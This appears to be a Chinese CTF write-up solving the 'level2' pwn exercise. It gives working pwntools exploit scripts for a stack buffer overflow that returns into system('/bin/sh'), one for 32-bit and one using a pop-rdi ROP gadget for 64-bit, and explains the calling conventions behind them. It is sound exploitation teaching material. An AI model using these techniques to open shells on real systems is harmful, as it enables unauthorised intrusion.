所有练习题:https://blog.csdn.net/qq_41696518/article/details/125646549
本题:pwn2 --> level2
先checksec一下,32位,开启了栈不可执行,自己构造shellcode指定不行,放入ida反编译一下
存在漏洞函数,不存在后门函数,但调用了system函数,这时则可以利用system的plt表掉system函数,因此只需要找到system的参数即可,Shift+F12,发现还存在/bin/sh字符串
那这题目就白给了,攻击函数:
from pwn import *
io = process("./level2")
elf = ELF("./level2")
bin_sh = 0x0804A024
system = elf.plt["system"]
io.recv()
payload = b'A'*(0x88+4) + p32(system) + b'A'*4 + p32(bin_sh)
io.sendline(payload)
io.interactive()
那如果是64位下的呢?有什么区别
x86:
- 使用栈传递参数
- 使用eax存返回值
注意x86参数是倒序存入栈的
amd64:
- 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
- 后7个参数存放于栈中
注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出
这题也有x64版本:pwn2_x64 --> level2_x64
exp.py:
from pwn import *
io = process("./level2_x64")
elf = ELF("./level2_x64")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))
pop_rdi_ret = 0x00000000004006b3
# pop_rdi_ret 可由 ROPgadget --binary level_x86 --only "pop|ret" | grep rdi 得到
payload = b'A'*(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
io.recv()
io.sendline(payload)
io.interactive()